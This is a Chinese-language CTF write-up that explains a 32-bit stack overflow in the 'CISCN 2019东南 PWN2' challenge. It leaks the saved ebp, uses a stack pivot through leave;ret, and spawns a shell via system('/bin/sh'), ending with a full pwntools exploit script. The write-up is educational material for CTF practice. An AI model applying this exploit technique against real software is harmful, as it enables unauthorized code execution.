Featured image of post Nssctf Pwn [CISCN 2019东南]PWN2 Wp

Nssctf Pwn [CISCN 2019东南]PWN2 Wp

字数: 1018

题面

二进制文件。

分析

checksec 查看保护:

1
2
3
4
5
6
7
8
❯ pwn checksec ./pwn2
[*] '/data/project/ctf-repo/pwn/nssctf/CISCN_2019东南-PWN2/pwn2'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

ida 静态分析: main()

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}

vul() 函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

还有个最没蛋用的函数:

1
2
3
4
int hack()
{
  return system("echo flag");
}

漏洞函数 vul() 能写入的数据很少(只有 0x30 字节,而 s 在栈上的 ebp - 0x28),栈溢出只能覆盖掉 return address 之后再补上一个地址。没办法构建很长的 ROP 链。考虑要栈迁移。

利用

这里要在栈上做迁移,要拿到栈的地址。 ebp 指向的地址存储的数据就是 old ebp 的地址。可以通过填充到 ebp 前面来让 printf 输出 ebp 的数据。
还需要 leave;ret 的 ROP。
整个栈迁移需要用到两次 leave; ret 第一次将 ebp 放入我们栈迁移的位置,第二次将 esp 也迁移到这个位置,此时 ebp 不知道跑哪去了,但是不重要。esp 会指向我们所给的地址开始调用。

我们要在 s 上构建 ROP 链,然后通过栈迁移将栈迁移到这里,把 esp 跳到这开始执行 ROP 链。

首先一段填充泄漏 ebp 指向的数据,old ebp:

1
2
3
4
5
payload = b"a" * 0x27 + b"B"
io.send(payload)
io.recvuntil(b"B")
old_ebp = u32(io.recv(4))
print("old ebp address: ", hex(old_ebp))

通过 pwndbg 查看 ebp 存储的 old ebp 比当前 ebp 之差为 0x10,这里用于确定 s 的位置。
ebp

拿到 old ebp 之后,可以确定数组 s 的位置为 old_ebp - 0x38

我们接下来在第二次 read 的时候对 s 重新写构造 ROP。
s 最开始

原来栈的最后 ebp 处 在第一次 leave; ret。会将 ebp 赋值给 esp ,之后将 ebp 跳到 old_ebp - 0x38,也就是我们做栈迁移后 ROP 链的位置。之后 pop rip,开始执行第二次 leave;ret

第二次会将 esp 跳转到 ebp 的位置,也就是 ROP 链,然后把第一条 aaaa 给 ebp,此时 ebp 存储的就是垃圾数据。然后开始 ret 执行接下来的 ROP 链,调用 system。
需要注意的是 system 的函数调用结构:

1
int system(const char *command);

参数是一个地址,所以需要知晓我们写入 /bin/sh\x00 的位置。这时候就可以利用之前获得的 old_ebp 计算。前面做调用的时候花了 0x10 字节,之后地方就来写 shell 字符串。也就是 old_ebp - 0x28

1
2
3
4
5
6
7
8
payload = b"aaaa" + p32(system_plt) + b"aaaa" + p32(old_ebp - 0x28) + b"/bin/sh\x00"
payload = payload.ljust(0x28, b"\x00")
payload += p32(old_ebp - 0x38) + p32(leave_ret)
"""
old ebp - 0x38 刚好是 buf 的位置
old ebp - 0x28 是填充 0x10 后的位置,
"""
io.send(payload)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

io = process("./pwn2")
elf = ELF("./pwn2")

system_plt = elf.plt["system"]
leave_ret = 0x8048562

payload = b"a" * 0x27 + b"B"
gdb.attach(io)
io.send(payload)
io.recvuntil(b"B")
old_ebp = u32(io.recv(4))
print("old ebp address: ", hex(old_ebp))
payload = b"aaaa" + p32(system_plt) + b"aaaa" + p32(old_ebp - 0x28) + b"/bin/sh\x00"
payload = payload.ljust(0x28, b"\x00")
payload += p32(old_ebp - 0x38) + p32(leave_ret)
"""
old ebp - 0x38 刚好是 buf 的位置
old ebp - 0x28 是填充 0x10 后的位置,
"""
io.send(payload)
io.interactive()

参考资料

  1. 栈迁移的原理&&实战运用